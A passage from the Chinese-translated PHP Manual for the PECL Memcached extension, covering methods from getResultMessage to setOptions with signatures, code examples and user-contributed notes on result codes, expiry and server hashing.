Memcached::RES_PARTIAL_READ - 18
Memcached::RES_SOME_ERRORS - 19
Memcached::RES_NO_SERVERS - 20
Memcached::RES_END - 21
Memcached::RES_ERRNO - 26
Memcached::RES_BUFFERED - 32
Memcached::RES_TIMEOUT - 31
Memcached::RES_BAD_KEY_PROVIDED - 33
Memcached::RES_CONNECTION_SOCKET_CREATE_FAILURE - 11
Memcached::RES_PAYLOAD_FAILURE - -1001


返回最后一次操作的结果描述消息

  • ? Memcached::getResultCode
  • Memcached::getServerByKey ?
  • PHP Manual
  • Memcached
  • 返回最后一次操作的结果描述消息

Memcached::getResultMessage

(PECL memcached >= 1.0.0)

Memcached::getResultMessage — 返回最后一次操作的结果描述消息

说明

public Memcached::getResultMessage(): string

Memcached::getResultMessage() 返回一个字符串来描述最后一次 Memcached 方法执行的结果。

参数

此函数没有参数。

返回值

最后一次 Memcached 操作结果的描述消息。

示例

Example #1 Memcached::getResultMessage() 示例

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$m->add('foo', 'bar'); // first time should succeed
$m->add('foo', 'bar');
echo $m->getResultMessage(),"\n";
?>

以上示例会输出：

NOT STORED

User Contributed Notes

There are no user contributed notes for this page.


获取一个 key 所映射的服务器信息

  • ? Memcached::getResultMessage
  • Memcached::getServerList ?
  • PHP Manual
  • Memcached
  • 获取一个 key 所映射的服务器信息

Memcached::getServerByKey

(PECL memcached >= 0.1.0)

Memcached::getServerByKey — 获取一个 key 所映射的服务器信息

说明

public Memcached::getServerByKey(string $server_key): array|false

Memcached::getServerByKey() 返回 server_key 所映射的服务器,
Memcached::*ByKey() 系列方法的中的 server_key 参数, 实际上就是用来获取
操作的服务器的。（译注: 可以这样理解, *ByKey 系列函数首先调用 Memcached::getServerByKey() 获取服务器,
然后在此服务器上进行操作）

参数

server_key

本键名用于识别储存和读取值的服务器。没有将实际的键名散列到具体的项目，而是在决定与哪一个 memcached 服务器通信时将其散列为服务器键名。这使得关联的项目在单一的服务上被组合起来以提高多重操作的效率。

返回值

成功时返回数组，包含三个 key host、port 和 weight 或者在失败时返回 false。 如需要则使用 Memcached::getResultCode()。

示例

Example #1 Memcached::getServerByKey() 示例

<?php
$m = new Memcached();
$m->addServers(array(
array('mem1.domain.com', 11211, 40),
array('mem2.domain.com', 11211, 40),
array('mem3.domain.com', 11211, 20),
));

$m->setOption(Memcached::OPT_LIBKETAMA_COMPATIBLE, true);

var_dump($m->getServerByKey('user'));
var_dump($m->getServerByKey('log'));
var_dump($m->getServerByKey('ip'));
?>

以上示例的输出类似于：

array(3) {
  ["host"]=>
  string(15) "mem3.domain.com"
  ["port"]=>
  int(11211)
  ["weight"]=>
  int(20)
}
array(3) {
  ["host"]=>
  string(15) "mem2.domain.com"
  ["port"]=>
  int(11211)
  ["weight"]=>
  int(40)
}
array(3) {
  ["host"]=>
  string(15) "mem2.domain.com"
  ["port"]=>
  int(11211)
  ["weight"]=>
  int(40)
}

User Contributed Notes

morphles 17-Mar-2016 08:51
Just to clarify (as documentation of memcached, even for C lib, frankly is quite lacking), $server_key is hashed using same method as regular keys for values (I checked C source, as again docs......). So you should be able to see where set($key, $value) goes by using getServerByKey($key) with same key. This can be useful if one does not wish to bother with using/has no need to use *ByKey functions, but still want to know which servers are/should be used with regular keys, for implementing fallback or failure reporting.
zhaoyong dot lc at gmail dot com 29-Mar-2013 06:32
The parameter server_key is very confusing, it's not a server key for MemCached Server, but it's key,in key-value pair which you stored in server.

<?php
$m = new Memcached;
$m->addServers(array(
    array('127.0.0.1',11212),
    array('127.0.0.1',11211)
));
for($i=0;$i<10;$i++){
    $key = 'key_'.$i;
    $m->add($key, 1);
}
for($i=0;$i<10;$i++) {
    $key = 'key_'.$i;
    $arr = $m->getServerByKey($key);
    echo ($key.":\t".$arr['port']."\n");
}
?>

key_0:  11212
key_1:  11211
key_2:  11212
key_3:  11212
key_4:  11212
key_5:  11211
key_6:  11211
key_7:  11212
key_8:  11212
key_9:  11211


获取服务器池中的服务器列表

  • ? Memcached::getServerByKey
  • Memcached::getStats ?
  • PHP Manual
  • Memcached
  • 获取服务器池中的服务器列表

Memcached::getServerList

(PECL memcached >= 0.1.0)

Memcached::getServerList — 获取服务器池中的服务器列表

说明

public Memcached::getServerList(): array

Memcached::getServerList() 返回服务器池中所有服务器列表.

参数

此函数没有参数。

返回值

服务器池中所有服务器列表.

示例

Example #1 Memcached::getServerList() 示例

<?php
$m = new Memcached();
$m->addServers(array(
array('mem1.domain.com', 11211, 20),
array('mem2.domain.com', 11311, 80),
));
var_dump($m->getServerList());
?>

以上示例会输出：

array(2) {
  [0]=>
  array(3) {
    ["host"]=>
    string(15) "mem1.domain.com"
    ["port"]=>
    int(11211)
    ["weight"]=>
    int(20)
  }
  [1]=>
  array(3) {
    ["host"]=>
    string(15) "mem2.domain.com"
    ["port"]=>
    int(11311)
    ["weight"]=>
    int(80)
  }
}

User Contributed Notes

rynop 21-Jan-2013 02:58
This method no longer returns 'weight' in v2.1.0: https://github.com/php-memcached-dev/php-memcached/pull/56


获取服务器池的统计信息

  • ? Memcached::getServerList
  • Memcached::getVersion ?
  • PHP Manual
  • Memcached
  • 获取服务器池的统计信息

Memcached::getStats

(PECL memcached >= 0.1.0)

Memcached::getStats — 获取服务器池的统计信息

说明

public Memcached::getStats(?string $type = null): array|false

Memcached::getStats() 返回一个包含所有可用 memcache 服务器状态的数组。 返回的统计信息的详细描述参见 » memcache 协议。 （译注：经实验，服务器池中有不可用服务器时，返回 false）

参数

type

要获取的统计的类型。

返回值

服务器统计信息数组，每个服务器一项， 或者在失败时返回 false。

示例

Example #1 Memcached::getStats() 示例

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

print_r($m->getStats());
?>

以上示例的输出类似于：

Array
(
    [localhost:11211] => Array
        (
            [pid] => 4933
            [uptime] => 786123
            [threads] => 1
            [time] => 1233868010
            [pointer_size] => 32
            [rusage_user_seconds] => 0
            [rusage_user_microseconds] => 140000
            [rusage_system_seconds] => 23
            [rusage_system_microseconds] => 210000
            [curr_items] => 145
            [total_items] => 2374
            [limit_maxbytes] => 67108864
            [curr_connections] => 2
            [total_connections] => 151
            [connection_structures] => 3
            [bytes] => 20345
            [cmd_get] => 213343
            [cmd_set] => 2381
            [get_hits] => 204223
            [get_misses] => 9120
            [evictions] => 0
            [bytes_read] => 9092476
            [bytes_written] => 15420512
            [version] => 1.2.6
        )

)

User Contributed Notes

Anonymous 13-Mar-2017 07:59
new url for memcache protocol documents.
https://github.com/memcached/memcached/blob/master/doc/protocol.txt
billfeller at gmail dot com 31-Oct-2013 08:27
the link to memcache protocol is out date. the new link is https://github.com/facebook/memcached/blob/master/doc/protocol.txt
ar knownat plista with com 17-Dec-2009 11:13
The method currently does not support the optional (and subject to change) type parameter for the stats command:
 - "items", "sizes", "slabs"

The documentation for the optional parameters can be found here (sections below General-purpose statistics):
http://code.sixapart.com/svn/memcached/trunk/server/doc/protocol.txt

The Memcache Extension can be uses to retrieve that information:
http://www.php.net/manual/en/function.memcache-getstats.php


获取服务器池中所有服务器的版本信息

  • ? Memcached::getStats
  • Memcached::increment ?
  • PHP Manual
  • Memcached
  • 获取服务器池中所有服务器的版本信息

Memcached::getVersion

(PECL memcached >= 0.1.5)

Memcached::getVersion — 获取服务器池中所有服务器的版本信息

说明

public Memcached::getVersion(): array|false

Memcached::getVersion() 返回一个包含所有可用 memcached 服务器版本信息的数组。 （译注：经实验，服务器池中有不可用服务器时，返回 false）

参数

此函数没有参数。

返回值

服务器版本信息的数组，每个服务器占一项。

示例

Example #1 Memcached::getVersion() 示例

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

print_r($m->getVersion());
?>

以上示例的输出类似于：

Array
(
    [localhost:11211] => 1.2.6
)

User Contributed Notes

Mads Madsen 01-Mar-2013 09:50
Was going mad, I figured getStatus() would return false on servers not responding. This is however not true, it will return:
array(1) {
  ["127.0.0.1:11112"]=>
  string(11) "255.255.255"
}
On a failed connection.


增加数值元素的值

  • ? Memcached::getVersion
  • Memcached::incrementByKey ?
  • PHP Manual
  • Memcached
  • 增加数值元素的值

Memcached::increment

(PECL memcached >= 0.1.0)

Memcached::increment — 增加数值元素的值

说明

public Memcached::increment(
string $key,
int $offset = 1,
int $initial_value = 0,
int $expiry = 0
): int|false

Memcached::increment() 将数值元素增加 offset 大小。如果元素的值不是数值类型，将返回错误。如果 key 不存在，Memcached::increment() 会将元素设置为 initial_value 参数。

参数

key

要增加值的元素的 key。

offset

要将元素的值增加的大小。

initial_value

如果元素不存在，要设置的默认值。

expiry

设置元素值的过期时间。

返回值

成功时返回元素的新值 或者在失败时返回 false。

示例

Example #1 Memcached::increment() 示例

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$m->set('counter', 0);
$m->increment('counter');
$n = $m->increment('counter', 10);
var_dump($n);

$m->set('counter', 'abc');
$n = $m->increment('counter');
// ^ will fail due to item value not being numeric
var_dump($n);
?>

以上示例会输出：

int(11)
bool(false)

参见

  • Memcached::decrement() - 减小数值元素的值
  • Memcached::decrementByKey() - Decrement numeric item's value, stored on a specific server
  • Memcached::incrementByKey() - Increment numeric item's value, stored on a specific server

User Contributed Notes

Anonymous 17-Aug-2013 11:46
If it'll save others some head-scratching, the PECL Memcached extension only supports initializing increment (or decrement) values from 2.0.0b2 onwards - i.e. not the version (1.0.2) that comes out of the box with Ubuntu 12.04.
Anonymous 23-Jan-2013 08:27
Spent a long time frustrated with this.  If you read the patch notes carefully:

- Make increment/decrement initialize value when it is not available (when using binary protocol).

If you dont have the opt binary protocol set the arguments for initial value just return an error 38 - INVALID ARGUMENTS. This is not documented.
jbaginski 18-Jan-2013 07:29
PECL memcached < 0.2.0

public int Memcached::increment ( string $key [, int $offset = 1 ] )
Sam 30-Jun-2012 12:50
increment does not alter the time to live of the object.


Increment numeric item's value, stored on a specific server

  • ? Memcached::increment
  • Memcached::isPersistent ?
  • PHP Manual
  • Memcached
  • Increment numeric item's value, stored on a specific server

Memcached::incrementByKey

(PECL memcached >= 2.0.0)

Memcached::incrementByKey — Increment numeric item's value, stored on a specific server

说明

public Memcached::incrementByKey(
string $server_key,
string $key,
int $offset = 1,
int $initial_value = 0,
int $expiry = 0
): int|false

Memcached::incrementByKey() increments a numeric item's value by the specified offset. If the item's value is not numeric, an error will result. Memcached::incrementByKey() will set the item to the initial_value parameter if the key doesn't exist.

参数

server_key

本键名用于识别储存和读取值的服务器。没有将实际的键名散列到具体的项目，而是在决定与哪一个 memcached 服务器通信时将其散列为服务器键名。这使得关联的项目在单一的服务上被组合起来以提高多重操作的效率。

key

The key of the item to increment.

offset

The amount by which to increment the item's value.

initial_value

The value to set the item to if it doesn't currently exist.

expiry

The expiry time to set on the item.

返回值

Returns new item's value on success 或者在失败时返回 false.

参见

  • Memcached::decrement() - 减小数值元素的值
  • Memcached::decrementByKey() - Decrement numeric item's value, stored on a specific server
  • Memcached::increment() - 增加数值元素的值

User Contributed Notes

There are no user contributed notes for this page.


Check if a persitent connection to memcache is being used

  • ? Memcached::incrementByKey
  • Memcached::isPristine ?
  • PHP Manual
  • Memcached
  • Check if a persitent connection to memcache is being used

Memcached::isPersistent

(PECL memcached >= 2.0.0)

Memcached::isPersistent — Check if a persitent connection to memcache is being used

说明

public Memcached::isPersistent(): bool

Memcached::isPersistent() checks if the connections to the memcache servers are persistent connections.

参数

此函数没有参数。

返回值

Returns true if Memcache instance uses a persistent connection, false otherwise.

参见

  • Memcached::isPristine() - Check if the instance was recently created

User Contributed Notes

There are no user contributed notes for this page.


Check if the instance was recently created

  • ? Memcached::isPersistent
  • Memcached::prepend ?
  • PHP Manual
  • Memcached
  • Check if the instance was recently created

Memcached::isPristine

(PECL memcached >= 2.0.0)

Memcached::isPristine — Check if the instance was recently created

说明

public Memcached::isPristine(): bool

Memcached::isPristine() checks if the Memcache instance was recently created.

参数

此函数没有参数。

返回值

Returns true if instance is recently created, false otherwise.

参见

  • Memcached::isPersistent() - Check if a persitent connection to memcache is being used

User Contributed Notes

vick dot qi at yahoo dot com 26-Jul-2016 03:37
From the source code of contructor, the "recently" means the connection to server of the instence is recently created, that is the instance was created without a persistent_id parameter or the first to use the persistent_id.

For instance, the gives a bool(true):

$memcached = new Memcached();
$isPristine = $memcached->isPristine();
var_dump($isPristine);

This also gives a bool(true):

$memcached = new Memcached('pid1');
$isPristine = $memcached->isPristine();
var_dump($isPristine);

while this gives a bool(false):

$memcached = new Memcached('pid1');
$memcached2 = new Memcached('pid1');
$isPristine = $memcached2->isPristine();
var_dump($isPristine);
gerben at gerbs dot net 24-Dec-2015 10:18
How is the return value determined? What is the definition of 'recently'? Does this function return true if the item was stored using the current connection?


向一个已存在的元素前面追加数据

  • ? Memcached::isPristine
  • Memcached::prependByKey ?
  • PHP Manual
  • Memcached
  • 向一个已存在的元素前面追加数据

Memcached::prepend

(PECL memcached >= 0.1.0)

Memcached::prepend — 向一个已存在的元素前面追加数据

说明

public Memcached::prepend(string $key, string $value): bool

Memcached::prepend() 向已存在元素的字符串值前追加 value。 value 被强制转换成字符串类型主要是因为对于 mix 类型的追加没有很好的定义。

Note:

如果 Memcached::OPT_COMPRESSION 常量开启，这个操作会失败，并引发一个警告，因为向压缩数据 后追加数据可能会导致解压不了。

参数

key

要向前追加数据的元素的 key。

value

要追加的字符串。

返回值

成功时返回 true， 或者在失败时返回 false。 当打开压缩时，返回 null。

错误／异常

当压缩启用时返回 null 并引发 E_WARNING。

示例

Example #1 Memcached::prepend() 示例

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);
$m->setOption(Memcached::OPT_COMPRESSION, false);

$m->set('foo', 'abc');
$m->prepend('foo', 'def');
var_dump($m->get('foo'));
?>

以上示例会输出：

string(6) "defabc"

参见

  • Memcached::prependByKey() - 在指定服务器上追加数据到已存在的元素
  • Memcached::append() - 向已存在元素追加数据

User Contributed Notes

There are no user contributed notes for this page.


在指定服务器上追加数据到已存在的元素

  • ? Memcached::prepend
  • Memcached::quit ?
  • PHP Manual
  • Memcached
  • 在指定服务器上追加数据到已存在的元素

Memcached::prependByKey

(PECL memcached >= 0.1.0)

Memcached::prependByKey — 在指定服务器上追加数据到已存在的元素

说明

public Memcached::prependByKey(string $server_key, string $key, string $value): ?bool

除了可以使用 server_key 自由的将 key 映射到指定服务器外， Memcached::prependByKey() 在功能上等同于 Memcached::prepend()。 （译注: 关于 *ByKey 系列方法及 $server_key 的工作原理请参照 addByKey 方法文档）

参数

server_key

本键名用于识别储存和读取值的服务器。没有将实际的键名散列到具体的项目，而是在决定与哪一个 memcached 服务器通信时将其散列为服务器键名。这使得关联的项目在单一的服务上被组合起来以提高多重操作的效率。

key

要向前追加数据的元素的 key。

value

要追加的字符串。

返回值

成功时返回 true， 或者在失败时返回 false。 当打开压缩时，返回 null。

错误／异常

当压缩启用时返回 null 并引发 E_WARNING。

参见

  • Memcached::prepend() - 向一个已存在的元素前面追加数据
  • Memcached::append() - 向已存在元素追加数据

User Contributed Notes

There are no user contributed notes for this page.


关闭所有打开的链接

  • ? Memcached::prependByKey
  • Memcached::replace ?
  • PHP Manual
  • Memcached
  • 关闭所有打开的链接

Memcached::quit

(PECL memcached >= 2.0.0)

Memcached::quit — 关闭所有打开的链接

说明

public Memcached::quit(): bool

Memcached::quit() 关闭所有 memcache 服务器的链接。

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


替换已存在 key 下的元素

  • ? Memcached::quit
  • Memcached::replaceByKey ?
  • PHP Manual
  • Memcached
  • 替换已存在 key 下的元素

Memcached::replace

(PECL memcached >= 0.1.0)

Memcached::replace — 替换已存在 key 下的元素

说明

public Memcached::replace(string $key, mixed $value, int $expiration = 0): bool

Memcached::replace() 和 Memcached::set() 类似，但是如果 服务端不存在 key，操作将失败。

参数

key

用于存储值的键名。

value

存储的值。

expiration

到期时间，默认为 0。 更多信息请参见到期时间。

返回值

成功时返回 true， 或者在失败时返回 false。 如果 key 不存在，Memcached::getResultCode() 返回 Memcached::RES_NOTSTORED。

参见

  • Memcached::replaceByKey() - 在指定服务器上，替换已存在 key 下的元素
  • Memcached::set() - 存储一个元素
  • Memcached::add() - 向新 key 添加元素

User Contributed Notes

There are no user contributed notes for this page.


在指定服务器上，替换已存在 key 下的元素

  • ? Memcached::replace
  • Memcached::resetServerList ?
  • PHP Manual
  • Memcached
  • 在指定服务器上，替换已存在 key 下的元素

Memcached::replaceByKey

(PECL memcached >= 0.1.0)

Memcached::replaceByKey — 在指定服务器上，替换已存在 key 下的元素

说明

public Memcached::replaceByKey(
string $server_key,
string $key,
mixed $value,
int $expiration = 0
): bool

除了可以使用 server_key 自由的将 key 映射到指定服务器外， Memcached::replaceByKey() 在功能上等同于 Memcached::replace()。 （译注: 关于 *ByKey 系列方法及 $server_key 的工作原理请参照 addByKey 方法文档）。

参数

server_key

本键名用于识别储存和读取值的服务器。没有将实际的键名散列到具体的项目，而是在决定与哪一个 memcached 服务器通信时将其散列为服务器键名。这使得关联的项目在单一的服务上被组合起来以提高多重操作的效率。

key

用于存储值的键名。

value

存储的值。

expiration

到期时间，默认为 0。 更多信息请参见到期时间。

返回值

成功时返回 true， 或者在失败时返回 false。 如果 key 不存在，Memcached::getResultCode() 返回 Memcached::RES_NOTSTORED。

参见

  • Memcached::replace() - 替换已存在 key 下的元素
  • Memcached::set() - 存储一个元素
  • Memcached::add() - 向新 key 添加元素

User Contributed Notes

There are no user contributed notes for this page.


Clears all servers from the server list

  • ? Memcached::replaceByKey
  • Memcached::set ?
  • PHP Manual
  • Memcached
  • Clears all servers from the server list

Memcached::resetServerList

(PECL memcached >= 2.0.0)

Memcached::resetServerList — Clears all servers from the server list

说明

public Memcached::resetServerList(): bool

Memcached::resetserverlist() removes all memcache servers from the known server list, resetting it back to empty.

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • Memcached::addServer() - 向服务器池增加服务器
  • Memcached::addServers() - 向服务器池中增加多台服务器

User Contributed Notes

There are no user contributed notes for this page.


存储一个元素

  • ? Memcached::resetServerList
  • Memcached::setByKey ?
  • PHP Manual
  • Memcached
  • 存储一个元素

Memcached::set

(PECL memcached >= 0.1.0)

Memcached::set — 存储一个元素

说明

public Memcached::set(string $key, mixed $value, int $expiration = 0): bool

Memcached::set() 将 value 存储在一个 memcached 服务器上的 key 下。expiration 参数 用于控制值的过期时间。

值可以是任何有效的非资源型 php 类型，因为资源类型不能被序列化存储。如果 Memcached::OPT_COMPRESSION 选项开启，序列化的值同样会被压缩存储。

参数

key

用于存储值的键名。

value

存储的值。

expiration

到期时间，默认为 0。 更多信息请参见到期时间。

返回值

成功时返回 true， 或者在失败时返回 false。 如需要则使用 Memcached::getResultCode()。

示例

Example #1 Memcached::set() 示例

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$m->set('int', 99);
$m->set('string', 'a simple string');
$m->set('array', array(11, 12));
/* 'object' 这个 key 将在 5 分钟后过期 */
$m->set('object', new stdClass, time() + 300);

var_dump($m->get('int'));
var_dump($m->get('string'));
var_dump($m->get('array'));
var_dump($m->get('object'));
?>

以上示例的输出类似于：

int(99)
string(15) "a simple string"
array(2) {
  [0]=>
  int(11)
  [1]=>
  int(12)
}
object(stdClass)#1 (0) {
}

参见

  • Memcached::setByKey() - 将元素存储到指定的服务器上
  • Memcached::add() - 向新 key 添加元素
  • Memcached::replace() - 替换已存在 key 下的元素

User Contributed Notes

HaxxxxaH 05-May-2016 05:44
@PeterN

You said that this was wrong:
$m->set('object', new stdclass, time() + 300);

And instead this is the correct way:
$m->set('object', new stdclass, 300);

When actually, they are both correct. Expiration looks at the time given, if the number is less than or equal to 30 days(60 * 60 * 24 * 30 = 2,592,000), then it expires in that many seconds. If the number is greater than 30 days, then it expires at that UNIX time.
PeterN 16-Oct-2015 11:48
In the example it shows:

/* expire 'object' key in 5 minutes */
$m->set('object', new stdclass, time() + 300);

But this is wrong.
It will not expire, at least, not for a long long time.
So instead of time() + seconds, you use:
$m->set('object', new stdclass, 300);
And it will correctly expire after 5 minutes.

Note: Using memcached 2.1.0 stable through PECL.
Anonymous 18-Mar-2014 03:22
00 = MEMCACHED_SUCCESS
01 = MEMCACHED_FAILURE
02 = MEMCACHED_HOST_LOOKUP_FAILURE // getaddrinfo() and getnameinfo() only
03 = MEMCACHED_CONNECTION_FAILURE
04 = MEMCACHED_CONNECTION_BIND_FAILURE // DEPRECATED see MEMCACHED_HOST_LOOKUP_FAILURE
05 = MEMCACHED_WRITE_FAILURE
06 = MEMCACHED_READ_FAILURE
07 = MEMCACHED_UNKNOWN_READ_FAILURE
08 = MEMCACHED_PROTOCOL_ERROR
09 = MEMCACHED_CLIENT_ERROR
10 = MEMCACHED_SERVER_ERROR // Server returns "SERVER_ERROR"
11 = MEMCACHED_ERROR // Server returns "ERROR"
12 = MEMCACHED_DATA_EXISTS
13 = MEMCACHED_DATA_DOES_NOT_EXIST
14 = MEMCACHED_NOTSTORED
15 = MEMCACHED_STORED
16 = MEMCACHED_NOTFOUND
17 = MEMCACHED_MEMORY_ALLOCATION_FAILURE
18 = MEMCACHED_PARTIAL_READ
19 = MEMCACHED_SOME_ERRORS
20 = MEMCACHED_NO_SERVERS
21 = MEMCACHED_END
22 = MEMCACHED_DELETED
23 = MEMCACHED_VALUE
24 = MEMCACHED_STAT
25 = MEMCACHED_ITEM
26 = MEMCACHED_ERRNO
27 = MEMCACHED_FAIL_UNIX_SOCKET // DEPRECATED
28 = MEMCACHED_NOT_SUPPORTED
29 = MEMCACHED_NO_KEY_PROVIDED /* Deprecated. Use MEMCACHED_BAD_KEY_PROVIDED! */
30 = MEMCACHED_FETCH_NOTFINISHED
31 = MEMCACHED_TIMEOUT
32 = MEMCACHED_BUFFERED
33 = MEMCACHED_BAD_KEY_PROVIDED
34 = MEMCACHED_INVALID_HOST_PROTOCOL
35 = MEMCACHED_SERVER_MARKED_DEAD
36 = MEMCACHED_UNKNOWN_STAT_KEY
37 = MEMCACHED_E2BIG
38 = MEMCACHED_INVALID_ARGUMENTS
39 = MEMCACHED_KEY_TOO_BIG
40 = MEMCACHED_AUTH_PROBLEM
41 = MEMCACHED_AUTH_FAILURE
42 = MEMCACHED_AUTH_CONTINUE
43 = MEMCACHED_PARSE_ERROR
44 = MEMCACHED_PARSE_USER_ERROR
45 = MEMCACHED_DEPRECATED
46 = MEMCACHED_IN_PROGRESS
47 = MEMCACHED_SERVER_TEMPORARILY_DISABLED
48 = MEMCACHED_SERVER_MEMORY_ALLOCATION_FAILURE
49 = MEMCACHED_MAXIMUM_RETURN /* Always add new error code before */
11 = MEMCACHED_CONNECTION_SOCKET_CREATE_FAILURE = MEMCACHED_ERROR
Matthew Minix 14-Nov-2013 04:59
Unlike Memcache, Memcached will not replace spaces in keys with underscores for you, and will instead send the key as provided which will cause an error that can result in keys and values being mismatched.  You can avoid this problem by removing/replacing spaces before storage or setting the option Memcached::OPT_BINARY_PROTOCOL to true.
miha at hribar dot info 16-Jul-2009 08:26
The method correctly returns false if you set the value to false. This means that in order to have proper fault checking mechanism in place you need to check the result code.

<?php
$Memcached = new Memcached();
$Memcached->addServer('localhost', 11211);
$Memcached->set('key', false);
var_dump($Memcached->get('key'));      // boolean false
var_dump($Memcached->getResultCode()); // int 0 which is  Memcached::RES_SUCCESS
?>


将元素存储到指定的服务器上

  • ? Memcached::set
  • Memcached::setMulti ?
  • PHP Manual
  • Memcached
  • 将元素存储到指定的服务器上

Memcached::setByKey

(PECL memcached >= 0.1.0)

Memcached::setByKey — 将元素存储到指定的服务器上

说明

public Memcached::setByKey(
string $server_key,
string $key,
mixed $value,
int $expiration = 0
): bool

除了可以使用 server_key 自由的将 key 映射到指定服务器外， Memcached::setByKey() 在功能上等同于 Memcached::set()。 （译注: 关于 *ByKey 系列方法及 $server_key 的工作原理请参照 addByKey 方法文档）。

参数

server_key

本键名用于识别储存和读取值的服务器。没有将实际的键名散列到具体的项目，而是在决定与哪一个 memcached 服务器通信时将其散列为服务器键名。这使得关联的项目在单一的服务上被组合起来以提高多重操作的效率。

key

用于存储值的键名。

value

存储的值。

expiration

到期时间，默认为 0。 更多信息请参见到期时间。

返回值

成功时返回 true， 或者在失败时返回 false。 如需要则使用 Memcached::getResultCode()。

示例

Example #1 Memcached::setByKey() 示例

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

/* 保证 block-ip 系列 key 的存储在同一台服务器上。*/
$m->setByKey('api-cache', 'block-ip:169.254.253.252', 1);
$m->setByKey('api-cache', 'block-ip:169.127.127.202', 1);
?>

参见

  • Memcached::set() - 存储一个元素

User Contributed Notes

There are no user contributed notes for this page.


存储多个元素

  • ? Memcached::setByKey
  • Memcached::setMultiByKey ?
  • PHP Manual
  • Memcached
  • 存储多个元素

Memcached::setMulti

(PECL memcached >= 0.1.0)

Memcached::setMulti — 存储多个元素

说明

public Memcached::setMulti(array $items, int $expiration = 0): bool

Memcached::setMulti() 类似于 Memcached::set()，但是使用了 参数 items 指定多个元素来替代单独的 key/value 设置以便于对多个元素的操作。expiration 参数指定的时候一次应用到所有的元素上。

参数

items

存放在服务器上的键／值对数组。

expiration

到期时间，默认为 0。 更多信息请参见到期时间。

返回值

成功时返回 true， 或者在失败时返回 false。 如需要则使用 Memcached::getResultCode()。

示例

Example #1 Memcached::setMulti() 示例

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$items = array(
'key1' => 'value1',
'key2' => 'value2',
'key3' => 'value3'
);
$m->setMulti($items, time() + 300);
?>

参见

  • Memcached::setMultiByKey() - 在指定服务器存储多个元素
  • Memcached::set() - 存储一个元素

User Contributed Notes

nulll 02-Feb-2018 01:57
The previous comment is from April 2013, it has a link pointing on current master, so things are changed since 2013 in the source code.

Maybe the right link is
https://github.com/php-memcached-dev/php-memcached/blob/80cb21467a1db6b7b18725df586f11801c823695/php_memcached.c#L1219

By the way, can someone skilled in C confirm the "fake setMulti" problem?
Nicolas 03-Apr-2013 04:51
This is what the previous comment (fake set multi):

https://github.com/php-memcached-dev/php-memcached/blob/master/php_memcached.c#L1219
jooonic at googlemail dot com 25-Aug-2010 01:10
Dont expect setmulti is faster then multiple SETs!
It doesn't use the setmulti lib function, it iterats over every key and send him alone.
I can't find any php implementation with setmulti support (needs support for memcached's binary protocol, remember php's "memcache"-extension only supports text-protocol).
Thats bad, not enought throughput to membase.
So i have to use redis instead, coz of its support for get/set multi.


在指定服务器存储多个元素

  • ? Memcached::setMulti
  • Memcached::setOption ?
  • PHP Manual
  • Memcached
  • 在指定服务器存储多个元素

Memcached::setMultiByKey

(PECL memcached >= 0.1.0)

Memcached::setMultiByKey — 在指定服务器存储多个元素

说明

public Memcached::setMultiByKey(string $server_key, array $items, int $expiration = 0): bool

除了可以使用 server_key 自由的将 key 映射到指定服务器外， Memcached::setMultiByKey() 在功能上等同于 Memcached::setMulti()。 （译注: 关于 *ByKey 系列方法及 $server_key 的工作原理请参照 addByKey 方法文档）。

参数

server_key

本键名用于识别储存和读取值的服务器。没有将实际的键名散列到具体的项目，而是在决定与哪一个 memcached 服务器通信时将其散列为服务器键名。这使得关联的项目在单一的服务上被组合起来以提高多重操作的效率。

items

存放在服务器上的键／值对数组。

expiration

到期时间，默认为 0。 更多信息请参见到期时间。

返回值

成功时返回 true， 或者在失败时返回 false。 如需要则使用 Memcached::getResultCode()。

参见

  • Memcached::setMulti() - 存储多个元素
  • Memcached::set() - 存储一个元素

User Contributed Notes

There are no user contributed notes for this page.


设置一个 memcached 选项

  • ? Memcached::setMultiByKey
  • Memcached::setOptions ?
  • PHP Manual
  • Memcached
  • 设置一个 memcached 选项

Memcached::setOption

(PECL memcached >= 0.1.0)

Memcached::setOption — 设置一个 memcached 选项

说明

public Memcached::setOption(int $option, mixed $value): bool

这个方法用来设置 Memcached option 的值。一些选项和 libmemcached 中定义的类似，还有一些则是 扩展所特有的。

参数

option

Memcached::OPT_* 常量之一。 参阅 Memcached 常量获取更多信息。

value

要设置的值

Note:

下面的选项列表需要通过特定的常量指定值。

  • Memcached::OPT_HASH 需要 Memcached::HASH_* 值。
  • Memcached::OPT_DISTRIBUTION 需要 Memcached::DISTRIBUTION_* 值。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 设置一个 memcached 选项值

<?php
$m = new Memcached();
var_dump($m->getOption(Memcached::OPT_HASH) == Memcached::HASH_DEFAULT);
$m->setOption(Memcached::OPT_HASH, Memcached::HASH_MURMUR);
$m->setOption(Memcached::OPT_PREFIX_KEY, "widgets");
echo "Prefix key is now: ", $m->getOption(Memcached::OPT_PREFIX_KEY), "\n";
?>

以上示例会输出：

bool(true)
Prefix key is now: widgets

参见

  • Memcached::getOption() - 获取 Memcached 的选项值
  • Memcached::setOptions() - Set Memcached options
  • Memcached 常量

User Contributed Notes

Harry Fuecks 26-May-2010 01:25
Be warned that setting the option Memcached::OPT_DISTRIBUTION to Memcached::DISTRIBUTION_CONSISTENT can carry a significant performance hit so is best used with persistent connections. More details at http://github.com/andreiz/php-memcached/issues#issue/14


Set Memcached options

  • ? Memcached::setOption
  • Memcached::setSaslAuthData ?
  • PHP Manual
  • Memcached
  • Set Memcached options

Memcached::setOptions

(PECL memcached >= 2.0.0)

Memcached::setOptions — Set Memcached options

说明

public Memcached::setOptions(array $options): bool

Memcached::setOptions() is a variation of the Memcached::setOption() that takes an array of options to be set.

参数

options

An associative array of options where the key is the option to set and the value is the new value for the option.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Setting Memcached options

<?php
$m = new Memcached();
var_dump($m->getOption(Memcached::OPT_HASH) == Memcached::HASH_DEFAULT);

